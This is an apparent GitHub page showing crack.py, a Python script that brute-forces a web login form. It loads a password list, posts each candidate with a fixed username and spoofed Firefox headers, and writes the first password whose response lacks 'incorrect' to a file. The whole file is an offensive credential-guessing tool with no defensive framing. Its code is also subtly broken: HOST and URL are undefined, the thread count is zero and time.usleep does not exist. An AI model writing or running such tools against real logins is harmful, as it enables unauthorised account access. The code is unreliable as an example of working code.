-
Notifications
You must be signed in to change notification settings - Fork 0
/
crack.py
69 lines (52 loc) · 1.59 KB
/
crack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
import sys
import os
import _thread
import time
passwd_file = "result2.txt"
user = "username"
nb_proc = 00
headers = {'Host': HOST, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 Gecko/20100101 Firefox/82.0' }
g_size = 0
g_i = 0
g_lock = False
g_finished = False
g_passwds = []
def init():
global g_passwds
global g_size
global s
s = requests.session()
s.cookies.clear()
f = open(passwd_file, "r")
for passwd in f:
g_passwds.append(passwd)
g_size += 1
for i in range(nb_proc):
_thread.start_new_thread(crack, ())
def crack():
global g_i
global g_size
global g_finished
global g_passwds
global g_lock
global s
while g_i < g_size and g_finished == False:
while g_lock == True:
time.usleep(1)
g_lock = True;
passwd = g_passwds[g_i].rstrip("\n")
g_i += 1
i = g_i
g_lock = False
payload = {'UserName': user, 'Password': passwd, 'RememberMe': 'False' }
r = s.post(URL, data=payload, headers=headers)
if g_finished == False:
print(str(r.status_code) + " " + passwd + " " + str(i))
if "incorrect" not in r.text:
print("FOUND IT = " + passwd)
f = open("passwd.txt", "w")
f.write(passwd)
g_finished = True
init()
crack()